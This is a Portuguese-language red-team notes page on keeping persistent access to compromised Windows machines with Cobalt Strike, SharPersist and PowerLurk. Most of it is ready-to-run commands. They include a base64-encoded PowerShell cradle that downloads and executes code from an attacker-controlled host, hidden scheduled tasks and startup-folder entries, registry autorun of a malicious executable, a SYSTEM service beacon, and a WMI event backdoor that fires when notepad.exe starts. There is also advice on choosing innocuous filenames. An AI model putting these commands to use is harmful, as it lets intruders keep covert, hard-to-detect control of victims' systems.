Persistência
Acesso Comum
O Cobalt Strike não inclui nenhum comando integrado especificamente para persistência, porém existe uma ferramenta boa chamada SharPersist, que é um kit de ferramentas de persistência do Windows escrito pela FireEye. Está escrito em C#, portanto pode ser executado via execute-assembly
.
Task Schedule
Abra o powershell (de qualquer máquina) e execute os comandos abaixo. Lembre-se de alterar o caminho web para o caminho configurado no CS.
$str = 'IEX ((new-object net.webclient).downloadstring("http://<ip>/mysther"))'
[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($str))
Caso prefira, pode executar também a partir de um Linux
set str 'IEX ((new-object net.webclient).downloadstring("http://<ip>/mysther"))'
echo -en $str | iconv -t UTF-16LE | base64 -w 0
Agora é necessário ter o SharPersist
na máquina atacante para poder prosseguir (o execute-assebly
lê arquivos localmente). Abaixo estamos programando a máquina alvo para executar a cada 1 hora, o comando definido acima. Altere o comando de acordo com a saída do comando anterior:
execute-assembly <C:\path\to\SharPersist\SharPersist\bin\Release\SharPersist.exe> -t schtask -c "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -a "-nop -w hidden -enc <saida-comando-anterior>" -n "nome-task" -m add -o hourly
Explicação:
-t
= Técnica de persistência desejada-c
= Comando a ser executado.-a
= Argumentos-n
= Nome da tarefa-m
= Adicionar a tarefa (também é possível remover, verificar e listar)-o
= Frequencia da tarefa
Startup Folder
Utilize o mesmo esquema de conversão de comando em base64 com unicode para o comando abaixo. Altere o valor do parâmentro -f
para definir o nome do arquivo. Deixe algo como setup, config, init, etc. Mas atente-se para não colocar o nome de um arquivo que já existe.
execute-assembly <C:\path\to\SharPersist\SharPersist\bin\Release\SharPersist.exe -t startupfolder -c "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -a "-nop -w hidden -enc <saida-comando-anterior>" -f "<filename>" -m add
Registry AutoRun
Primeiro faça upload do arquivo malicioso gerado pelo CS
cd c:\windows\temp
upload <c:\path\to\file>
Agora acesse-o, alterando no comando abaixo o caminho do arquivo e o parâmetro -v
que é o nome da chave de registro que irá ser criada
execute-assembly <C:\path\to\SharPersist\SharPersist\bin\Release\SharPersist.exe> -t reg -c "<C:\ProgramData\evil.exe>" -a "/q /n" -k "hkcurun" -v "<key-name>" -m add
Acesso SYSTEM
Antes de começar, lembre-se de que os processos SYSTEM
não podem ser autenticados no proxy da web, portanto não podemos usar HTTP Beacons. Então deve-se usar beacons P2P ou DNS. E é claro, tenha em mãos um usuário com altos privilégios.
Windows Services
Muitos serviços do Windows que são executados como SYSTEM, mas podemos criar o nosso próprio serviço que não terá impacto nos serviços existentes. Faça primeiro o upload do tcp-local_x64.svc.exe
e renomeie para mysther-svc.exe
. Agora execute:
execute-assembly <C:\Path\to\SharPersist\SharPersist\bin\Release\SharPersist.exe> -t service -c "<C:\Path\to\mysther-svc.exe>" -n "mysther-svc" -m add
Após isso, a máquina deve ser reiniciada para que o serviço fique ativo e, para acessar de fato o Beacon, devemos executar o comando abaixo:
connect localhost 4444
WMI Event Subscriptions
A persistência por meio de eventos WMI pode ser alcançada aproveitando as três classes a seguir:
EventConsumer
= Ação que queremos realizar – neste caso, executar uma carga útil. Isso pode ser feito por meio de comandos do sistema operacional (como uma linha única do PowerShell) ou VBScriptEventFilter
= Gatilho sobre o qual podemos agir. Qualquer consulta WMI arbitrária pode ser usada como um filtro que oferece opções praticamente ilimitadas. Isso pode incluir quando um processo específico é iniciado, quando um usuário faz login, quando um dispositivo USB é inserido, em qualquer horário específico do dia ou em um intervalo de tempoFilterToConsumerBinding
= Simplesmente vincula um EventConsumer e um EventFilter
No comando abaixo, iremos utilizar o PowerLurk, que é uma ferramenta do PowerShell para criar esses eventos WMI. Neste exemplo, iremos carregar uma carga DNS no diretório do Windows, importando o PowerLurk.ps1 e criando uma nova assinatura de evento WMI que a executará sempre que o notepad.exe
(poderia ser qualquer outro programa) for iniciado.
cd C:\Windows
upload <C:\Path\to\dns_x64.exe>
powershell-import <C:\Path\to\PowerLurk.ps1>
powershell Register-MaliciousWmiEvent -EventName WmiBackdoor -PermanentCommand "C:\Windows\dns_x64.exe" -Trigger ProcessStart -ProcessName notepad.exe
Feito isso, basta esperar o alvo abrir o notepad.exe
, que irá gerar o Beacon no CS. Para remover o backdoor, basta executar o comando abaixo:
Get-WmiEvent -Name WmiBackdoor | Remove-WmiObject
Sites
# PowerLurk
https://github.com/Sw4mpf0x/PowerLurk
# SharPersist
https://github.com/fireeye/SharPersist
Last updated
Was this helpful?